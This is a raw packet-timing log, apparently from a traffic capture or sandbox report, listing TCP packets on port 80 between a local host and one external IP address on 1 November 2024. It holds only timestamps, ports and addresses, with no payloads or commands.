Nov 1, 2024 13:42:01.685806036 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.685817003 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.685846090 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.685869932 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.685899019 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.685910940 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.685920954 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.685933113 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.685945034 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.685945988 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.685959101 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.685970068 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.685972929 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.685992002 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.686017036 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.686034918 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686105013 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686105967 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.686116934 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686127901 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686156034 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.686180115 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.686709881 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686728954 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686741114 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686759949 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.686770916 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.686841965 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686851978 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686863899 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686876059 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686881065 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.686916113 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.686969995 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686980963 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.686990976 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.687002897 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.687014103 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.687035084 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.687064886 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688425064 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688469887 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688471079 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688483000 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688494921 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688510895 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688529015 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688544989 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688611031 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688630104 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688641071 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688652039 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688652992 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688677073 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688688040 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688726902 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688738108 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688749075 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688762903 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688772917 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688774109 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688801050 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688812971 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688823938 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.688831091 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688855886 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.688868999 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.689265013 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689284086 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689295053 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689320087 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.689335108 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689340115 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.689347029 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689377069 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.689403057 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.689599991 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689610958 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689618111 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689655066 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.689682007 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.689688921 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689701080 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689712048 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.689735889 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.689759970 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.690017939 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.690030098 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.690041065 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.690073967 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.690090895 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.690102100 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.690112114 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.690125942 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.690138102 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.690144062 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.690149069 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.690157890 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.690188885 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.690212011 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.806823015 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.806839943 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.806852102 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.806967974 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.806988001 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807002068 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807013035 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807029009 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807049990 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807061911 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807073116 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807080984 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807080984 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807080984 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807080984 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807085991 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807100058 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807106972 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807106972 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807118893 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807138920 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807141066 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807151079 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807163000 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807163954 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807174921 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807188034 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807193995 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807199955 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807213068 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807215929 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807254076 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807267904 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807329893 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807354927 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807368040 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807377100 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807379007 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807393074 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807405949 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807409048 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807435036 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807459116 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807507038 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807519913 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807532072 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807547092 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807554960 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807559013 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807570934 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807585001 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807588100 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807599068 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807621956 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807636976 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807710886 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807723999 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807734966 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807758093 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807780027 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807787895 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807790995 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807830095 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807874918 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807887077 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807898998 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807910919 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807924986 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807928085 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807940960 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807943106 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807952881 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.807976007 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.807987928 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808000088 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808002949 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808012009 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808022976 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808032990 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808036089 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808047056 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808060884 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808098078 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808212042 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808223963 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808235884 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808248043 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808258057 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808259010 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808271885 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808274031 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808307886 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808331013 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808347940 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808360100 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808372021 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808383942 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808393955 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808419943 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808444023 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808449030 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808461905 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808474064 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808490992 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808510065 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808521032 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808618069 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808630943 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808644056 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808655977 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808666945 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808681965 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808687925 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808706045 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808707952 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808717966 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808737040 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808754921 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808768988 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808923006 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808934927 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808947086 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.808971882 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.808995962 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809005022 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809016943 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809030056 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809047937 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809065104 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809083939 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809111118 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809128046 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809142113 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809168100 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809175968 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809196949 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809226036 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809238911 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809250116 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809276104 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809298992 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809323072 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809335947 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809348106 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809355021 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809366941 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809444904 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809458017 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809470892 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809480906 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809480906 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809484005 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809497118 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809500933 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809500933 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809524059 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809542894 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809566975 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809580088 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809592009 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809604883 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809612989 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809617996 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809628963 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809629917 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809662104 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809670925 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809700012 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809711933 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809724092 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809736013 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809746027 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809746981 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809761047 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809792995 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809829950 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809840918 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809851885 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809875965 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809886932 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.809983969 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.809994936 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810005903 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810018063 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810029984 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810030937 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810045004 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810055971 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810056925 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810069084 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810082912 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810086012 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810098886 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810131073 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810162067 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810208082 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810244083 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810256958 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810271025 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810282946 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810291052 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810302019 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810328007 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810376883 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810389042 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810400963 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810415983 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810419083 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810435057 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810446978 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810448885 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810461044 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810471058 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810477018 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810483932 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810496092 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810497046 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810508966 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810527086 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810556889 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810564041 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810575962 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810587883 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810600042 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810606956 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810610056 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810620070 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810631990 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810642958 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810652018 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810655117 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810667038 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810669899 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810679913 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810689926 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810712099 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810729980 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.810900927 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810918093 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.810930014 CET	80	49730	95.215.207.176	192.168.2.4
